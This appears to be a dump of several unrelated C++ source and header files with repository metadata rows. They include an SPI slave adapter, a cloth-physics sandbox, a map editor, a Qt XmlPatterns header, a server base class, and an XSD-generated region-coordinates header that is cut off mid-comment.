* @ingroup MURASAKI_GROUP
*/
class SpiSlaveAdapter : public SpiSlaveAdapterStrategy
{
public:
SpiSlaveAdapter();
/**
* @brief Constructor
* @param pol Polarity setting
* @param pha Phase setting
* @param port GPIO port of the chip select
* @param pin GPIO pin of the chip select
* @details
* The port and pin parameters are passed to the HAL_GPIO_WritePin().
* The port and pin have to be configured by CubeIDE correctly.
*
*/
SpiSlaveAdapter(murasaki::SpiClockPolarity pol, murasaki::SpiClockPhase pha, ::GPIO_TypeDef * port, uint16_t pin);
/**
* @brief Constructor
* @param pol Polarity setting
* @param pha Phase setting
* @param port GPIO port of the chip select
* @param pin GPIO pin of the chip select
* @details
* The port and pin parameters are passed to the HAL_GPIO_WritePin().
* The port and pin have to be configured by CubeIDE correctly.
*/
SpiSlaveAdapter(unsigned int pol, unsigned int pha, ::GPIO_TypeDef * const port, uint16_t pin);
/**
* @brief Chip select assertion
* @details
* This member function asset the output line to select the slave chip.
*/
virtual void AssertCs();
/**
* @brief Chip select deassertoin
* @details
* This member function deasset the output line to de-select the slave chip.
*/
virtual void DeassertCs();
private:
GPIO_TypeDef * const port_;
uint16_t const pin_;
};
} /* namespace murasaki */
#endif //HAL_SPI_MODULE_ENABLED
#endif /* SPISLAVEADAPTER_HPP_ */
| [
"[email protected]"
] | |
f0e8b67f0b93e6e6dd1ce22f1b265ae054582241 | de35a8b5d5e1a8c00a0b50a6c639cc44c0a30be4 | /Code/Game/Sandbox.hpp | ff2dfb37e84dfaea436dd717cada4aa6581f33ff | [] | no_license | vingenuity/ClothPhysics | a6c6aa42c7b50367aa7882c222b6313928206086 | a4c4c22003ce1adacd93899b2fb5a2858bda584b | refs/heads/master | 2021-01-22T03:29:43.447602 | 2014-03-31T23:24:21 | 2014-03-31T23:24:21 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,030 | hpp | #ifndef INCLUDED_SANDBOX_HPP
#define INCLUDED_SANDBOX_HPP
#pragma once
//-----------------------------------------------------------------------------------------------
#include "../Engine/Input/Keyboard.hpp"
#include "../Engine/Input/Mouse.hpp"
#include "../Engine/Input/Xbox.hpp"
#include "../Engine/Camera.hpp"
#include "../Engine/Game.hpp"
#include "Cloth.hpp"
//-----------------------------------------------------------------------------------------------
class Sandbox: public Game
{
Camera m_camera;
Cloth m_cloth;
FloatVector3 m_lightPosition;
bool m_drawOrigin;
bool m_drawDebugCloth;
bool m_useConstraintSatisfaction;
float m_totalRunTimeSeconds;
void ConvertKeyboardToCameraInput( const Keyboard& keyboard, float& out_xyMovementAngleDegrees, float& out_xyMovementMagnitude, float& out_zMovementMagnitude );
void ConvertMouseToCameraInput( const Mouse& mouse, float& out_xMovement, float& out_yMovement );
float TransformKeyInputIntoAngleDegrees( bool upKeyIsPressed, bool rightKeyIsPressed, bool downKeyIsPressed, bool leftKeyIsPressed );
void UpdatePlayerFromInput( float deltaSeconds, Keyboard& keyboard, const Mouse& mouse );
public:
Sandbox( bool& quitVariable, unsigned int width, unsigned int height, float horizontalFOVDegrees );
void Initialize();
void RenderGame() const;
void RenderUI() const;
void GameUpdate( float deltaSeconds );
void InputUpdate( float deltaSeconds, Keyboard& keyboard, const Mouse& mouse, const Xbox::Controller& controller );
};
//-----------------------------------------------------------------------------------------------
inline Sandbox::Sandbox( bool& quitVariable, unsigned int width, unsigned int height, float horizontalFOVDegrees )
: Game( quitVariable, width, height, horizontalFOVDegrees )
, m_camera( -2.f, 0.f, 0.f )
, m_cloth( 12, 12, 0.5f )
, m_lightPosition( 1.f, 1.f, 1.f )
, m_drawOrigin( false )
, m_totalRunTimeSeconds( 0.f )
, m_drawDebugCloth( true )
, m_useConstraintSatisfaction( true )
{ }
#endif //INCLUDED_SANDBOX_HPP
| [
"[email protected]"
] | |
bcadf9b73074e3fecddfadd88466a5cd0d599bd2 | af11f45f57f71e649832fb386259696254efaad6 | /MiniProj/MapEditorMain.h | 5bdaa2fe52d19698ae35993044007e8d561fecb3 | [] | no_license | charvakcpatel007/Bomberman | 75a10478c418000e6350d1b1e0bd57473fc943a8 | 2a7fd41085ad06cb7e7f9871d839ee5bff01e552 | refs/heads/master | 2021-01-10T13:36:00.356162 | 2016-05-07T04:21:36 | 2016-05-07T04:21:36 | 55,512,685 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 409 | h | #pragma once
#include "BasicGame.h"
#include "TextSprite.h"
#include "ClickableMap.h"
class MapEditorMain :
public BasicGame
{
public:
MapEditorMain();
virtual ~MapEditorMain();
void render() override;
void update() override;
void updateOffset();
void processInput() override;
ClickableMap curMap;
int margin;
pair<int, int> drawOffset;// x offset first, y offset second
int drawoffsetSpeed;
};
| [
"[email protected]"
] | |
5427ce4e26b16ecdec051ce7b5c05fb28f242d4d | 08818395e3edefb9837397c74fa53c8f487a28e1 | /AmeisenNavmeshGen/block.h | 44074da95dcb575276598f7e6d75e402ec07b2d9 | [] | no_license | Chaos192/AmeisenNavmeshGen | d67062fe42346d60015abdcf94bcd6c6cb2a4f59 | b2f5cb5d039eadbe621e248bfcfb609fb5941e56 | refs/heads/master | 2022-03-28T05:13:30.865565 | 2018-12-08T10:59:51 | 2018-12-08T10:59:51 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 161 | h | #pragma once
#ifndef _H_BLOCK
#define _H_BLOCK
#include "chunk.h"
constexpr float BLOCK_SIZE = 533.33333F;
struct Block
{
Chunk chunks[16 * 16];
};
#endif
| [
"[email protected]"
] | |
3d84130f908a3a98bd8fc0835f7540659c47a64b | 5c0cde9516179e199beda1104a329b252c7684b7 | /Graphics/Middleware/QT/include/QtXmlPatterns/5.0.2/QtXmlPatterns/private/qgmonthday_p.h | 43874420d7b8917794d2022b201de1abdde7a35b | [] | no_license | herocrx/OpenGLMatrices | 3f8ff924e7160e76464d9480af7cf5652954622b | ca532ebba199945813a563fe2fbadc2f408e9f4b | refs/heads/master | 2021-05-07T08:28:21.614604 | 2017-12-17T19:45:40 | 2017-12-17T19:45:40 | 109,338,861 | 0 | 0 | null | 2017-12-17T19:45:41 | 2017-11-03T01:47:27 | HTML | UTF-8 | C++ | false | false | 3,139 | h | /****************************************************************************
**
** Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies).
** Contact: http://www.qt-project.org/legal
**
** This file is part of the QtXmlPatterns module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
** Commercial License Usage
** Licensees holding valid commercial Qt licenses may use this file in
** accordance with the commercial license agreement provided with the
** Software or, alternatively, in accordance with the terms contained in
** a written agreement between you and Digia. For licensing terms and
** conditions see http://qt.digia.com/licensing. For further information
** use the contact form at http://qt.digia.com/contact-us.
**
** GNU Lesser General Public License Usage
** Alternatively, this file may be used under the terms of the GNU Lesser
** General Public License version 2.1 as published by the Free Software
** Foundation and appearing in the file LICENSE.LGPL included in the
** packaging of this file. Please review the following information to
** ensure the GNU Lesser General Public License version 2.1 requirements
** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Digia gives you certain additional
** rights. These rights are described in the Digia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
** GNU General Public License Usage
** Alternatively, this file may be used under the terms of the GNU
** General Public License version 3.0 as published by the Free Software
** Foundation and appearing in the file LICENSE.GPL included in the
** packaging of this file. Please review the following information to
** ensure the GNU General Public License version 3.0 requirements will be
** met: http://www.gnu.org/copyleft/gpl.html.
**
**
** $QT_END_LICENSE$
**
****************************************************************************/
//
// W A R N I N G
// -------------
//
// This file is not part of the Qt API. It exists purely as an
// implementation detail. This header file may change from version to
// version without notice, or even be removed.
//
// We mean it.
#ifndef Patternist_GMonthDay_H
#define Patternist_GMonthDay_H
#include <private/qabstractdatetime_p.h>
QT_BEGIN_HEADER
QT_BEGIN_NAMESPACE
namespace QPatternist
{
/**
* @short Implements the value instance of the @c xs:gYearMonth type.
*
* @author Frans Englich <[email protected]>
* @ingroup Patternist_xdm
*/
class GMonthDay : public AbstractDateTime
{
public:
typedef AtomicValue::Ptr Ptr;
/**
* Creates an instance from the lexical representation @p string.
*/
static GMonthDay::Ptr fromLexical(const QString &string);
static GMonthDay::Ptr fromDateTime(const QDateTime &dt);
virtual ItemType::Ptr type() const;
virtual QString stringValue() const;
protected:
friend class CommonValues;
GMonthDay(const QDateTime &dateTime);
};
}
QT_END_NAMESPACE
QT_END_HEADER
#endif
| [
"[email protected]"
] | |
8842406340035d7606cfb44a2f6ac7818735f572 | 77f7b9c32665fe795c8d6c77412dce8c8013a3c1 | /BaseCommon/ServerBase/Base/BaseServer.cpp | 727d9730df044f18c557e2a4cf33dd6ca6b29169 | [] | no_license | wenge8126/MemoryDB | 7d9fb7e8aaf2393941f90089f80cf6bd6a9b1419 | b5e133a23db94039990270a198f29bb4b0275cdc | refs/heads/master | 2021-09-10T16:21:00.935843 | 2018-03-29T05:47:45 | 2018-03-29T05:47:45 | 113,527,948 | 0 | 1 | null | null | null | null | GB18030 | C++ | false | false | 4,506 | cpp |
#include "BaseServer.h"
#include "ShareMemAO.h"
//-------------------------------------------------------------------------
#include "TableManager.h"
//#include "EventCenterManager.h"
#include "BaseThread.h"
#ifdef __WINDOWS__
#include <Windows.h>
#endif
//#include "UDPEasyNet.h"
tBaseServer::tBaseServer()
: mBaseThread(NULL)
, mAlready(false)
{
new TableManager();
}
tBaseServer::~tBaseServer()
{
//if (TableManager::getSingletonPtr())
//delete TableManager::getSingletonPtr();
}
bool tBaseServer::InitConfig( const char* szConfigTableName )
{
if (szConfigTableName==NULL || strcmp(szConfigTableName, "")==0)
return false;
TableManager::SetDefaultPath("./");
return TableManager::getSingleton().LoadTable(szConfigTableName, "CSV");
}
bool tBaseServer::InitStaticData(BaseThread *pBaseThread)
{
ReleaseStaticData();
mBaseThread = pBaseThread;
mBaseThread->InitEventCenter(AutoEventCenter());
mAlready = true;
return true;
}
void tBaseServer::ReleaseStaticData(void)
{
if (!mAlready)
return;
mBaseThread->Close();
SAFE_DELETE(mBaseThread);
delete TableManager::getSingletonPtr();
mAlready = false;
return;
}
bool tBaseServer::Start(BaseThread *pBaseThread, const char *szProcessName, const char* szLogFileName, const char* szConfigTableName)
{
Allot::setLogFile(szProcessName);
TableManager::SetLog( new TableLog(szLogFileName) );
InitConfig(szConfigTableName);
InitStaticData(pBaseThread);
mBaseThread->start();
return true;
}
void tBaseServer::RequestClose()
{
if (mBaseThread!=NULL)
mBaseThread->mQuestClose = true;
}
void tBaseServer::Stop(void)
{
mBaseThread->Close();
ReleaseStaticData();
}
bool tBaseServer::IsStop()
{
if (mBaseThread!=NULL) return mBaseThread->IsStop(); return false;
}
#ifdef __WINDOWS__
bool tBaseServer::SetIocn(const char *szIconBmpFile, const char *szText, const char *szFontName, int nFontSize, unsigned int color)
{
if (szIconBmpFile==NULL)
return false;
HMODULE m = GetModuleHandle(NULL);
HANDLE hbitmap = LoadImage(NULL,szIconBmpFile,IMAGE_BITMAP,0,0,LR_LOADFROMFILE);
if (hbitmap==(HANDLE)INVALID_HANDLE || hbitmap==NULL)
return false;
HDC hMemDC = NULL;
HFONT f = NULL;
if (szText!=NULL)
{
if (szFontName!=NULL)
f = CreateFont(nFontSize,0,0,0,100,FALSE,FALSE,0,ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,FF_SWISS, szFontName);
HDC hDC = ::GetDC(GetConsoleWindow());
//CFont * pOldFont = hDC->SelectObject();
hMemDC = CreateCompatibleDC(hDC);
if (f!=NULL)
SelectObject(hMemDC, f);
SelectObject(hMemDC, hbitmap);
//在位图上写字
RECT rect = {0, 0, 600, 600};
SetTextColor(hMemDC, RGB(color>>16 & 0xFF, color>>8 & 0xFF, color&0xFF));
SetBkMode(hMemDC, TRANSPARENT);
DrawText(hMemDC, szText, -1, &rect, DT_VCENTER);
}
BITMAP bmp;
GetObject(hbitmap,sizeof(BITMAP),&bmp);
HBITMAP hbmMask = ::CreateCompatibleBitmap(::GetDC(NULL),
bmp.bmWidth, bmp.bmHeight);
ICONINFO ii = {0};
ii.fIcon = TRUE;
ii.hbmColor = (HBITMAP)hbitmap;
ii.hbmMask = hbmMask;
HICON hIcon = ::CreateIconIndirect(&ii);//一旦不再需要，注意用DestroyIcon函数释放占用的内存及资源
if (hMemDC!=NULL)
DeleteDC(hMemDC);
if (f!=NULL)
DeleteObject(f);
::DeleteObject(hbmMask);
HWND hwnd=GetConsoleWindow();//直接获得前景窗口的句柄
SendMessage(hwnd, WM_SETICON, ICON_SMALL, (LPARAM)hIcon);
SendMessage(hwnd, WM_SETICON, ICON_BIG, (LPARAM)hIcon);
return true;
}
#else
bool tBaseServer::SetIocn(const char *szIconBmpFile, const char *szText, const char *szFontName, int nFontSize, unsigned int color)
{
return false;
}
#endif
//-------------------------------------------------------------------------
tProcess::tProcess()
: mShareMem(NULL)
, mbReadyShareMemOk(false)
{
}
tProcess::~tProcess()
{
if (mShareMem)
delete mShareMem;
mShareMem = NULL;
}
bool tProcess::InitShareMem( unsigned long memKey, unsigned int uSize, bool bCreate )
{
if (mShareMem==NULL)
mShareMem = new ShareMemAO();
if (bCreate)
mbReadyShareMemOk = mShareMem->Create(memKey, uSize)==TRUE;
else
mbReadyShareMemOk = mShareMem->Attach(memKey, uSize)==TRUE;
return mbReadyShareMemOk;
}
bool tProcess::Process()
{
// 检查共享内存消息
if (mbReadyShareMemOk && mShareMem!=NULL)
{
char *pMsg = mShareMem->GetDataPtr();
if (pMsg!=NULL)
return OnShareMemMsg(pMsg);
}
return true;
}
char* tProcess::GetShareData()
{
if (mShareMem!=NULL)
return mShareMem->GetDataPtr();
return NULL;
}
| [
"[email protected]"
] | |
0b56c8580ac33d6f0fc00fff0ee5485067faf33f | cd7d56b7181e5babca367beec021ad92e10555aa | /src/overload/liboverload.cc | 1fe96dc28735121d9ea87d0cae5d786bfd023c83 | [] | no_license | Exifers/Libtree | 00b733603ed9b229e4a343c3d7a4b960a45f0b6e | 01141ddd7d2b6896970180099433144b145f036a | refs/heads/master | 2021-09-10T11:12:22.107131 | 2018-03-25T09:24:49 | 2018-03-25T09:24:49 | 125,089,703 | 3 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 653 | cc | /**
** \file overload/liboverload.cc
** \brief Define exported type functions.
*/
#include <overload/binder.hh>
#include <overload/liboverload.hh>
#include <overload/type-checker.hh>
namespace overload
{
std::pair<overfun_bindings_type, misc::error>
bind(ast::Ast& tree)
{
Binder bind;
bind(tree);
return std::pair(std::move(bind.overfun_bindings_get()),
std::move(bind.error_get()));
}
misc::error
types_check(ast::Ast& tree,
const overfun_bindings_type& overfun_bindings)
{
TypeChecker type{overfun_bindings};
type(tree);
return type.error_get();
}
} // namespace overload
| [
"[email protected]"
] | |
68da943de65a0703d194a4966601730dc33108e2 | 01325a946f48339cbff180d4e15cbf8596846681 | /src/test_program.hpp | 0129261a7ead88ba4a23ffb909c1712b8485e5aa | [
"MIT"
] | permissive | setyolegowo/ITB-IF5111-2019 | 8f47f3f79b6768d656dff440c4c9dcb3ad8da747 | 4b53c9a69e49bb801fa65b633689670bf2edf4ff | refs/heads/master | 2020-04-23T07:51:05.663527 | 2019-03-01T02:13:55 | 2019-03-01T02:13:55 | 171,018,519 | 0 | 0 | MIT | 2019-02-26T00:29:40 | 2019-02-16T15:27:30 | C++ | UTF-8 | C++ | false | false | 1,021 | hpp | /**
* node_structre.hpp file.
*
* @author Setyo Legowo <[email protected]>
* @since 2019.02.18
*/
#ifndef ANALGO_TEST_PROGRAM_H_
#define ANALGO_TEST_PROGRAM_H_
#include <string>
#include <stdint.h>
#include <iostream>
#include <fstream>
#include <sys/time.h>
#include "algo/base_algo.hpp"
#include "algo/index_search.hpp"
#include "algo/binary_search_tree.hpp"
#include "algo/linear_search.hpp"
#include "algo/log_linear_search.hpp"
#include "algo/shortest_path.hpp"
#include "algo/square_delivery.hpp"
#include "node_structure.hpp"
class Test {
public:
static uint32_t getRandomIndex(uint32_t);
static long getMicrotime();
static void readFile(char*, std::vector<House>*, size_t);
static BaseAlgorithm * chooseAlgorithm(char*, int, char**);
static House * getRandomFromVector(std::vector<House> *);
static char * str2Char(std::string);
static int modifyArgument(char**, std::vector<House> *);
static int runTesting(int, char**);
};
#endif
| [
"[email protected]"
] | |
02a5e3fd75ba379ea7cf2ef92be26c20876d5b22 | 654c2151e8e76478282a7221c9972fd4a8bae632 | /include/gideon/cs/datatable/template/region_coordinates.hxx | a2e2232b45601bc751dedf5449d0a77626eddcd8 | [] | no_license | mark-online/cs | 485e06f1d3ad3a85837ed76ae259a3b89e37d40f | d1ff39f56f85117deca0ec3e626a9ad9429fbd49 | refs/heads/master | 2020-11-24T10:53:25.846048 | 2019-12-15T02:32:15 | 2019-12-15T02:32:15 | 228,116,343 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 35,524 | hxx | // Copyright (c) 2005-2014 Code Synthesis Tools CC
//
// This program was generated by CodeSynthesis XSD, an XML Schema to
// C++ data binding compiler.
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
//
// In addition, as a special exception, Code Synthesis Tools CC gives
// permission to link this program with the Xerces-C++ library (or with
// modified versions of Xerces-C++ that use the same license as Xerces-C++),
// and distribute linked combinations including the two. You must obey
// the GNU General Public License version 2 in all respects for all of
// the code used other than Xerces-C++. If you modify this copy of the
// program, you may extend this exception to your version of the program,
// but you are not obligated to do so. If you do not wish to do so, delete
// this exception statement from your version.
//
// Furthermore, Code Synthesis Tools CC makes a special exception for
// the Free/Libre and Open Source Software (FLOSS) which is described
// in the accompanying FLOSSE file.
//
/**
* @file
* @brief Generated from region_coordinates.xsd.
*/
#ifndef GDT_REGION_COORDINATES_HXX
#define GDT_REGION_COORDINATES_HXX
#ifndef XSD_CXX11
#define XSD_CXX11
#endif
#ifndef XSD_USE_WCHAR
#define XSD_USE_WCHAR
#endif
#ifndef XSD_CXX_TREE_USE_WCHAR
#define XSD_CXX_TREE_USE_WCHAR
#endif
// Begin prologue.
//
#include "shared_types.hxx"
//
// End prologue.
#include <xsd/cxx/config.hxx>
#if (XSD_INT_VERSION != 4000000L)
#error XSD runtime version mismatch
#endif
#include <xsd/cxx/pre.hxx>
#include "xml_schema.hxx"
// Forward declarations.
//
namespace gdt
{
class coordinates_t;
class region_coordinates;
}
#include <memory> // ::std::unique_ptr
#include <limits> // std::numeric_limits
#include <algorithm> // std::binary_search
#include <utility> // std::move
#include <xsd/cxx/tree/exceptions.hxx>
#include <xsd/cxx/tree/elements.hxx>
#include <xsd/cxx/tree/containers.hxx>
#include <xsd/cxx/tree/list.hxx>
#include <xsd/cxx/xml/dom/parsing-header.hxx>
#ifndef XSD_DONT_INCLUDE_INLINE
#define XSD_DONT_INCLUDE_INLINE
#include "shared_types.hxx"
#undef XSD_DONT_INCLUDE_INLINE
#else
#include "shared_types.hxx"
#endif // XSD_DONT_INCLUDE_INLINE
/**
* @brief C++ namespace for the %
* schema namespace.
*/
namespace gdt
{
/**
* @brief Class corresponding to the %coordinates_t schema type.
*
* @nosubgrouping
*/
class GIDEON_CS_API coordinates_t: public ::xml_schema::type
{
public:
/**
* @name region_code
*
* @brief Accessor and modifier functions for the %region_code
* required attribute.
*/
//@{
/**
* @brief Attribute type.
*/
typedef ::gdt::region_code_t region_code_type;
/**
* @brief Attribute traits type.
*/
typedef ::xsd::cxx::tree::traits< region_code_type, wchar_t > region_code_traits;
/**
* @brief Return a read-only (constant) reference to the attribute.
*
* @return A constant reference to the attribute.
*/
const region_code_type&
region_code () const;
/**
* @brief Return a read-write reference to the attribute.
*
* @return A reference to the attribute.
*/
region_code_type&
region_code ();
/**
* @brief Set the attribute value.
*
* @param x A new value to set.
*
* This function makes a copy of its argument and sets it as
* the new value of the attribute.
*/
void
region_code (const region_code_type& x);
/**
* @brief Set the attribute value without copying.
*
* @param p A new value to use.
*
* This function will try to use the passed value directly
* instead of making a copy.
*/
void
region_code (::std::unique_ptr< region_code_type > p);
//@}
/**
* @name radius
*
* @brief Accessor and modifier functions for the %radius
* required attribute.
*/
//@{
/**
* @brief Attribute type.
*/
typedef ::xml_schema::float_ radius_type;
/**
* @brief Attribute traits type.
*/
typedef ::xsd::cxx::tree::traits< radius_type, wchar_t > radius_traits;
/**
* @brief Return a read-only (constant) reference to the attribute.
*
* @return A constant reference to the attribute.
*/
const radius_type&
radius () const;
/**
* @brief Return a read-write reference to the attribute.
*
* @return A reference to the attribute.
*/
radius_type&
radius ();
/**
* @brief Set the attribute value.
*
* @param x A new value to set.
*
* This function makes a copy of its argument and sets it as
* the new value of the attribute.
*/
void
radius (const radius_type& x);
//@}
/**
* @name x
*
* @brief Accessor and modifier functions for the %x
* required attribute.
*/
//@{
/**
* @brief Attribute type.
*/
typedef ::xml_schema::float_ x_type;
/**
* @brief Attribute traits type.
*/
typedef ::xsd::cxx::tree::traits< x_type, wchar_t > x_traits;
/**
* @brief Return a read-only (constant) reference to the attribute.
*
* @return A constant reference to the attribute.
*/
const x_type&
x () const;
/**
* @brief Return a read-write reference to the attribute.
*
* @return A reference to the attribute.
*/
x_type&
x ();
/**
* @brief Set the attribute value.
*
* @param x A new value to set.
*
* This function makes a copy of its argument and sets it as
* the new value of the attribute.
*/
void
x (const x_type& x);
//@}
/**
* @name y
*
* @brief Accessor and modifier functions for the %y
* required attribute.
*/
//@{
/**
* @brief Attribute type.
*/
typedef ::xml_schema::float_ y_type;
/**
* @brief Attribute traits type.
*/
typedef ::xsd::cxx::tree::traits< y_type, wchar_t > y_traits;
/**
* @brief Return a read-only (constant) reference to the attribute.
*
* @return A constant reference to the attribute.
*/
const y_type&
y () const;
/**
* @brief Return a read-write reference to the attribute.
*
* @return A reference to the attribute.
*/
y_type&
y ();
/**
* @brief Set the attribute value.
*
* @param x A new value to set.
*
* This function makes a copy of its argument and sets it as
* the new value of the attribute.
*/
void
y (const y_type& x);
//@}
/**
* @name z
*
* @brief Accessor and modifier functions for the %z
* required attribute.
*/
//@{
/**
* @brief Attribute type.
*/
typedef ::xml_schema::float_ z_type;
/**
* @brief Attribute traits type.
*/
typedef ::xsd::cxx::tree::traits< z_type, wchar_t > z_traits;
/**
* @brief Return a read-only (constant) reference to the attribute.
*
* @return A constant reference to the attribute.
*/
const z_type&
z () const;
/**
* @brief Return a read-write reference to the attribute.
*
* @return A reference to the attribute.
*/
z_type&
z ();
/**
* @brief Set the attribute value.
*
* @param x A new value to set.
*
* This function makes a copy of its argument and sets it as
* the new value of the attribute.
*/
void
z (const z_type& x);
//@}
/**
* @name x1
*
* @brief Accessor and modifier functions for the %x1
* required attribute.
*/
//@{
/**
* @brief Attribute type.
*/
typedef ::xml_schema::float_ x1_type;
/**
* @brief Attribute traits type.
*/
typedef ::xsd::cxx::tree::traits< x1_type, wchar_t > x1_traits;
/**
* @brief Return a read-only (constant) reference to the attribute.
*
* @return A constant reference to the attribute.
*/
const x1_type&
x1 () const;
/**
* @brief Return a read-write reference to the attribute.
*
* @return A reference to the attribute.
*/
x1_type&
x1 ();
/**
* @brief Set the attribute value.
*
* @param x A new value to set.
*
* This function makes a copy of its argument and sets it as
* the new value of the attribute.
*/
void
x1 (const x1_type& x);
//@}
/**
* @name x2
*
* @brief Accessor and modifier functions for the %x2
* required attribute.
*/
//@{
/**
* @brief Attribute type.
*/
typedef ::xml_schema::float_ x2_type;
/**
* @brief Attribute traits type.
*/
typedef ::xsd::cxx::tree::traits< x2_type, wchar_t > x2_traits;
/**
* @brief Return a read-only (constant) reference to the attribute.
*
* @return A constant reference to the attribute.
*/
const x2_type&
x2 () const;
/**
* @brief Return a read-write reference to the attribute.
*
* @return A reference to the attribute.
*/
x2_type&
x2 ();
/**
* @brief Set the attribute value.
*
* @param x A new value to set.
*
* This function makes a copy of its argument and sets it as
* the new value of the attribute.
*/
void
x2 (const x2_type& x);
//@}
/**
* @name y1
*
* @brief Accessor and modifier functions for the %y1
* required attribute.
*/
//@{
/**
* @brief Attribute type.
*/
typedef ::xml_schema::float_ y1_type;
/**
* @brief Attribute traits type.
*/
typedef ::xsd::cxx::tree::traits< y1_type, wchar_t > y1_traits;
/**
* @brief Return a read-only (constant) reference to the attribute.
*
* @return A constant reference to the attribute.
*/
const y1_type&
y1 () const;
/**
* @brief Return a read-write reference to the attribute.
*
* @return A reference to the attribute.
*/
y1_type&
y1 ();
/**
* @brief Set the attribute value.
*
* @param x A new value to set.
*
* This function makes a copy of its argument and sets it as
* the new value of the attribute.
*/
void
y1 (const y1_type& x);
//@}
/**
* @name y2
*
* @brief Accessor and modifier functions for the %y2
* required attribute.
*/
//@{
/**
* @brief Attribute type.
*/
typedef ::xml_schema::float_ y2_type;
/**
* @brief Attribute traits type.
*/
typedef ::xsd::cxx::tree::traits< y2_type, wchar_t > y2_traits;
/**
* @brief Return a read-only (constant) reference to the attribute.
*
* @return A constant reference to the attribute.
*/
const y2_type&
y2 () const;
/**
* @brief Return a read-write reference to the attribute.
*
* @return A reference to the attribute.
*/
y2_type&
y2 ();
/**
* @brief Set the attribute value.
*
* @param x A new value to set.
*
* This function makes a copy of its argument and sets it as
* the new value of the attribute.
*/
void
y2 (const y2_type& x);
//@}
/**
* @name Constructors
*/
//@{
/**
* @brief Default constructor.
*
* Note that this constructor leaves required elements and
* attributes uninitialized.
*/
coordinates_t ();
/**
* @brief Create an instance from the ultimate base and
* initializers for required elements and attributes.
*/
coordinates_t (const region_code_type&,
const radius_type&,
const x_type&,
const y_type&,
const z_type&,
const x1_type&,
const x2_type&,
const y1_type&,
const y2_type&);
/**
* @brief Create an instance from a DOM element.
*
* @param e A DOM element to extract the data from.
* @param f Flags to create the new instance with.
* @param c A pointer to the object that will contain the new
* instance.
*/
coordinates_t (const ::xercesc::DOMElement& e,
::xml_schema::flags f = 0,
::xml_schema::container* c = 0);
/**
* @brief Copy constructor.
*
* @param x An instance to make a copy of.
* @param f Flags to create the copy with.
* @param c A pointer to the object that will contain the copy.
*
* For polymorphic object models use the @c _clone function instead.
*/
coordinates_t (const coordinates_t& x,
::xml_schema::flags f = 0,
::xml_schema::container* c = 0);
/**
* @brief Copy the instance polymorphically.
*
* @param f Flags to create the copy with.
* @param c A pointer to the object that will contain the copy.
* @return A pointer to the dynamically allocated copy.
*
* This function ensures that the dynamic type of the instance is
* used for copying and should be used for polymorphic object
* models instead of the copy constructor.
*/
virtual coordinates_t*
_clone (::xml_schema::flags f = 0,
::xml_schema::container* c = 0) const;
/**
* @brief Copy assignment operator.
*
* @param x An instance to make a copy of.
* @return A reference to itself.
*
* For polymorphic object models use the @c _clone function instead.
*/
coordinates_t&
operator= (const coordinates_t& x);
//@}
/**
* @brief Destructor.
*/
virtual
~coordinates_t ();
// Implementation.
//
//@cond
protected:
void
parse (::xsd::cxx::xml::dom::parser< wchar_t >&,
::xml_schema::flags);
protected:
::xsd::cxx::tree::one< region_code_type > region_code_;
::xsd::cxx::tree::one< radius_type > radius_;
::xsd::cxx::tree::one< x_type > x_;
::xsd::cxx::tree::one< y_type > y_;
::xsd::cxx::tree::one< z_type > z_;
::xsd::cxx::tree::one< x1_type > x1_;
::xsd::cxx::tree::one< x2_type > x2_;
::xsd::cxx::tree::one< y1_type > y1_;
::xsd::cxx::tree::one< y2_type > y2_;
//@endcond
};
/**
* @brief Class corresponding to the %region_coordinates schema type.
*
* @nosubgrouping
*/
class GIDEON_CS_API region_coordinates: public ::xml_schema::type
{
public:
/**
* @name coordinates
*
* @brief Accessor and modifier functions for the %coordinates
* sequence element.
*/
//@{
/**
* @brief Element type.
*/
typedef ::gdt::coordinates_t coordinates_type;
/**
* @brief Element sequence container type.
*/
typedef ::xsd::cxx::tree::sequence< coordinates_type > coordinates_sequence;
/**
* @brief Element iterator type.
*/
typedef coordinates_sequence::iterator coordinates_iterator;
/**
* @brief Element constant iterator type.
*/
typedef coordinates_sequence::const_iterator coordinates_const_iterator;
/**
* @brief Element traits type.
*/
typedef ::xsd::cxx::tree::traits< coordinates_type, wchar_t > coordinates_traits;
/**
* @brief Return a read-only (constant) reference to the element
* sequence.
*
* @return A constant reference to the sequence container.
*/
const coordinates_sequence&
coordinates () const;
/**
* @brief Return a read-write reference to the element sequence.
*
* @return A reference to the sequence container.
*/
coordinates_sequence&
coordinates ();
/**
* @brief Copy elements from a given sequence.
*
* @param s A sequence to copy elements from.
*
* For each element in @a s this function makes a copy and adds it
* to the sequence. Note that this operation completely changes the
* sequence and all old elements will be lost.
*/
void
coordinates (const coordinates_sequence& s);
//@}
/**
* @name Constructors
*/
//@{
/**
* @brief Create an instance from the ultimate base and
* initializers for required elements and attributes.
*/
region_coordinates ();
/**
* @brief Create an instance from a DOM element.
*
* @param e A DOM element to extract the data from.
* @param f Flags to create the new instance with.
* @param c A pointer to the object that will contain the new
* instance.
*/
region_coordinates (const ::xercesc::DOMElement& e,
::xml_schema::flags f = 0,
::xml_schema::container* c = 0);
/**
* @brief Copy constructor.
*
* @param x An instance to make a copy of.
* @param f Flags to create the copy with.
* @param c A pointer to the object that will contain the copy.
*
* For polymorphic object models use the @c _clone function instead.
*/
region_coordinates (const region_coordinates& x,
::xml_schema::flags f = 0,
::xml_schema::container* c = 0);
/**
* @brief Copy the instance polymorphically.
*
* @param f Flags to create the copy with.
* @param c A pointer to the object that will contain the copy.
